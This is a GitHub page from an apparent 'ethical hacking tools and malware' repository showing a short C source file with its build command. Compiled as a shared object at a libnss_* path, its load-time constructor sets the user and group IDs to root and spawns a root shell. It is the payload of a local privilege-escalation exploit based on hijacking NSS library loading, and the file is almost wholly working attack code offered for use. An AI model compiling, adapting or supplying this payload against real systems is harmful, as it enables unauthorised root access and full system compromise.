Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

495 B
Raw Blame
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

// mkdir libnss_x && gcc -shared -o libnss_x/x.so.2 -fPIC shellcode.c

static void _init() __attribute__((constructor));

void _init(void)
{
    puts("\n[+] Shared object hijacked with libnss_XXXXXXX/XXXXXX.so.2!");

    setuid(0);
    setgid(0);

    if (!getuid())
    {
      puts("[+] We are root!");
      system("/bin/sh 2>&1");
    }
    else
    {
      puts("[X] We are not root!");
      puts("[X] Exploit failed!");
    }
}